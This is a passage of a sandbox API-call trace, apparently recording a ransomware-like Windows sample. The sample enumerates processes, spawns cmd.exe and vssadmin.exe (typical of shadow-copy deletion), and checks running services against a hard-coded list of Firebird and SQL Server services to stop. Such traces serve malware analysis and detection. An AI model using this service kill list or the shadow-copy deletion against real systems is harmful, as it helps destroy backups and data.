lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.690] lstrlenW (lpString="spoolsv.exe") returned 11 [0259.690] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.691] lstrlenW (lpString="svchost.exe") returned 11 [0259.691] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.692] lstrlenW (lpString="audiodg.exe") returned 11 [0259.692] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0259.692] lstrlenW (lpString="sihost.exe") returned 10 [0259.693] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.826] lstrlenW (lpString="svchost.exe") returned 11 [0259.828] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0259.829] lstrlenW (lpString="taskhostw.exe") returned 13 [0259.829] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0259.829] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0259.829] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0259.830] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0259.830] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0259.831] lstrlenW (lpString="Memory Compression") returned 18 [0259.831] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.832] lstrlenW (lpString="explorer.exe") returned 12 [0259.832] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0259.832] lstrlenW (lpString="SearchUI.exe") returned 12 [0259.832] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0259.833] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0259.833] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0259.833] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0259.833] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.834] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0259.834] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0259.835] lstrlenW (lpString="finbbp.exe") returned 10 [0259.835] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0259.835] lstrlenW (lpString="cmd.exe") returned 7 [0259.835] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0259.836] lstrlenW (lpString="conhost.exe") returned 11 [0259.836] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0259.836] lstrlenW (lpString="vssadmin.exe") returned 12 [0259.836] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0259.837] lstrlenW (lpString="consent.exe") returned 11 [0259.837] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.838] lstrlenW (lpString="svchost.exe") returned 11 [0259.838] Process32NextW (in: hSnapshot=0x55c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0259.838] CloseHandle (hObject=0x55c) returned 1 [0259.838] Sleep (dwMilliseconds=0x1f4) [0260.564] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa7b8 [0260.565] EnumServicesStatusExW (in: hSCManager=0x41aa7b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0260.566] GetLastError () returned 0xea [0260.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x42d0fe0 [0260.566] EnumServicesStatusExW (in: hSCManager=0x41aa7b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d0fe0, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d0fe0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0260.567] CloseServiceHandle (hSCObject=0x41aa7b8) returned 1 [0260.567] lstrlenW (lpString="Appinfo") returned 7 [0260.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0260.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0260.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0260.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0260.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0260.567] lstrlenW (lpString="AppXSvc") returned 7 [0260.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0260.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0260.567] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0260.567] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0260.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0260.567] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0260.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0260.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0260.567] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0260.567] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0260.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0260.568] lstrlenW (lpString="Audiosrv") returned 8 [0260.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0260.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0260.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0260.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0260.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0260.568] lstrlenW (lpString="BFE") returned 3 [0260.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0260.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0260.568] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0260.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0260.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0260.568] lstrlenW (lpString="BITS") returned 4 [0260.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0260.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0260.568] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0260.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0260.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0260.568] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0260.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0260.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0260.568] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0260.568] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0260.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0260.568] lstrlenW (lpString="CDPSvc") returned 6 [0260.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0260.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0260.569] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0260.569] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0260.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0260.569] lstrlenW (lpString="ClickToRunSvc") returned 13 [0260.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0260.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0260.569] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0260.569] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0260.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0260.569] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0260.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0260.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0260.569] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0260.569] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0260.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0260.569] lstrlenW (lpString="CryptSvc") returned 8 [0260.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0260.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0260.569] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0260.569] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0260.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0260.569] lstrlenW (lpString="DcomLaunch") returned 10 [0260.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0260.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0260.569] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0260.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0260.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0260.570] lstrlenW (lpString="DeviceAssociationService") returned 24 [0260.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0260.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0260.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0260.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0260.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0260.570] lstrlenW (lpString="Dhcp") returned 4 [0260.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0260.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0260.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0260.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0260.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0260.570] lstrlenW (lpString="Dnscache") returned 8 [0260.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0260.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0260.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0260.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0260.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0260.571] lstrlenW (lpString="DPS") returned 3 [0260.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0260.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0260.571] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0260.571] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0260.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0260.571] lstrlenW (lpString="DusmSvc") returned 7 [0260.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0260.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0260.571] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0260.571] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0260.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0260.571] lstrlenW (lpString="EventLog") returned 8 [0260.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0260.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0260.571] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0260.571] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0260.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0260.571] lstrlenW (lpString="EventSystem") returned 11 [0260.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0260.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0260.571] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0260.572] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0260.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0260.572] lstrlenW (lpString="FontCache") returned 9 [0260.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0260.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0260.572] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0260.572] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0260.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0260.572] lstrlenW (lpString="gpsvc") returned 5 [0260.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0260.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0260.572] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0260.572] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0260.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0260.572] lstrlenW (lpString="iphlpsvc") returned 8 [0260.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0260.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0260.572] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0260.573] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0260.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0260.573] lstrlenW (lpString="KeyIso") returned 6 [0260.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0260.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0260.573] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0260.573] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0260.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0260.573] lstrlenW (lpString="LanmanServer") returned 12 [0260.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0260.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0260.573] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0260.573] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0260.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0260.573] lstrlenW (lpString="LanmanWorkstation") returned 17 [0260.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.707] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0260.707] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0260.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0260.707] lstrlenW (lpString="lfsvc") returned 5 [0260.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0260.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0260.708] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0260.708] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0260.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0260.708] lstrlenW (lpString="lmhosts") returned 7 [0260.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0260.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0260.708] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0260.708] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0260.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0260.708] lstrlenW (lpString="LSM") returned 3 [0260.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0260.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0260.708] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0260.708] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0260.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0260.708] lstrlenW (lpString="MpsSvc") returned 6 [0260.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0260.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0260.708] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0260.708] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0260.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0260.708] lstrlenW (lpString="NcbService") returned 10 [0260.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0260.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0260.708] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0260.708] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0260.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0260.709] lstrlenW (lpString="netprofm") returned 8 [0260.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0260.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0260.709] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0260.709] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0260.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0260.709] lstrlenW (lpString="NgcSvc") returned 6 [0260.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0260.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0260.709] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0260.709] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0260.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0260.709] lstrlenW (lpString="NlaSvc") returned 6 [0260.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0260.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0260.709] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0260.709] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0260.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0260.709] lstrlenW (lpString="nsi") returned 3 [0260.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0260.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0260.709] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0260.709] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0260.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0260.709] lstrlenW (lpString="PcaSvc") returned 6 [0260.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0260.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0260.709] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0260.710] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0260.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0260.710] lstrlenW (lpString="PlugPlay") returned 8 [0260.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0260.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0260.710] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0260.710] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0260.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0260.710] lstrlenW (lpString="Power") returned 5 [0260.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0260.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0260.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0260.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0260.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0260.710] lstrlenW 